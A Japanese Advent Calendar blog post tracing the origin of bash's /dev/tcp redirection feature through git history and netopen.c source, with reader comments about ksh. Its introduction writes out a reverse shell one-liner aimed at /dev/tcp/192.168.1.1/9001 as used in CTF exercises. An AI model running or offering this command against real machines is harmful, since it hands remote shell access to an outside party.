😊

/dev/tcpの歴史

2023/12/12に公開
2

この記事はcoins Advent Calendar 2023の11日目の記事です。

まえがき

突然ですが、皆さんは人生で一度はリバースシェルを作ってシェルを奪取しflagを取得したことがあると思います。その時、ターゲットのマシンで以下のようなコマンドを実行したことでしょう。

sh -i >& /dev/tcp/192.168.1.1/9001 0>&1

ところで、このコマンドで使われている/dev/tcp/*/*というディレクトリ(?)を皆さんはご存知でしたか?私はリバースシェルを作るときに初めて知り、以降リバースシェルを作る時以外使ったことがありません。
これは一体誰がなんの目的のために実装したものでしょうか?
gitのログを遡って調べてみました。ソースは以下になります。
http://git.savannah.gnu.org/cgit/bash.git/

/dev/tcpが呼び出されるまで

/dev/tcpという文字列を検索するとnetopen.cのファイルがヒットします。
コメントによるとnetopenという関数が/dev/tcp/host/porthostportを抽出してsocketを開いているようです。

netopen.c
/*
 * Open a TCP or UDP connection given a path like `/dev/tcp/host/port' to
 * host `host' on port `port' and return the connected socket.
 */
int
netopen (char *path)
{
  char *np, *s, *t;
  int fd;

  np = (char *)xmalloc (strlen (path) + 1);
  strcpy (np, path);

  s = np + 9;
  t = strchr (s, '/');
  if (t == 0)
    {
      internal_error (_("%s: bad network path specification"), path);
      free (np);
      return -1;
    }
  *t++ = '\0';
  fd = _netopen (s, t, path[5]);
  free (np);

  return fd;
}

ではこの関数がどこから呼び出されているのか確認してみると最終的にdo_redirection_internalという関数にたどり着きます。

  1. do_redirection_internal(redirect,flag,fnp)
  2. redir_open(filename, flags, mode, ri)
  3. filename"/dev/tcp/*/*"または/dev/udp/*/*である場合
  4. redir_special_open(spec, filename, flags, mode, ri)
  5. netopen(path)

リダイレクトでしかこのファイルにはアクセスできないようです。lsコマンドを実行して確認してみましょう。

$ ls -la /dev/tcp
ls: cannot access '/dev/tcp': No such file or directory

commitの確認

関係するコードをblameしてみるとbb70624というcommitであることがわかります。
このcommitのコミットメッセージはImported from ../bash-2.04.tar.gz.となっています。
ということで、bash-2.04.tar.gzを探してみるとGNUのftpサーバーに存在しました。
https://ftp.gnu.org/gnu/bash/
このバージョンは2000-03-21にリリースされたようです。ちなみにgitの初版は2005-04-07です。
Gitもないこの時代netopen.cの作者はどのようにして知ることができるでしょうか?
AUTHORというファイルが存在しますが、netopen.cは誰が書いたかは書かれていませんでした。
最終的に手がかりは、netopen.cの上部の署名しかありませんでした。そこからこのファイル自体を作成したのはChet Ramey氏であるとわかります。

/dev/tcp作成の意図

Change Logや変更のあったコードを読みましたが、作成の意図は書かれていませんでした。
ただ、同時に/dev/stdin/dev/fd等便利なショートカットが追加されているので便利機能としての追加である可能性があります。

終わりに

/dev/tcpはChet Ramey氏によって作成されたことがわかりました。

bashのソースコードはLinux Kernel等に比べてかなり単純なので読みやすかったです。bashソースコードリーディング、暇つぶしに丁度いいのではないでしょうか。

余談

/dev/tcp/{host}/{port}のport部分にはサービス名も入れることができます。

( echo -e "GET / HTTP/1.0\r\n" >&3; cat <&3; ) 3<> /dev/tcp/www.google.com/http

なので、上のようにすることでもGoogleのサイトにhttpリクエストを飛ばすことができます。

Discussion

ko1nksmko1nksm

bashの機能の多くはksh由来です。kshで実装されており便利そう&互換性のためにbashにも導入したのでしょう。ファイルとしてアクセスできるのはUnix的ではあるので。

kshではどうやら1990年のksh88eあたりで実装されたようです。
https://www.in-ulm.de/~mascheck/various/shells/ksh_versions.html

意図は単純にシェルスクリプトからネットワークに接続できるようにSocket接続に対応したと言うだけのことでしょう。

ronarona

補足ありがとうございます。
kshにもこの機能があるのは知りませんでした。kshのソースも見てみます。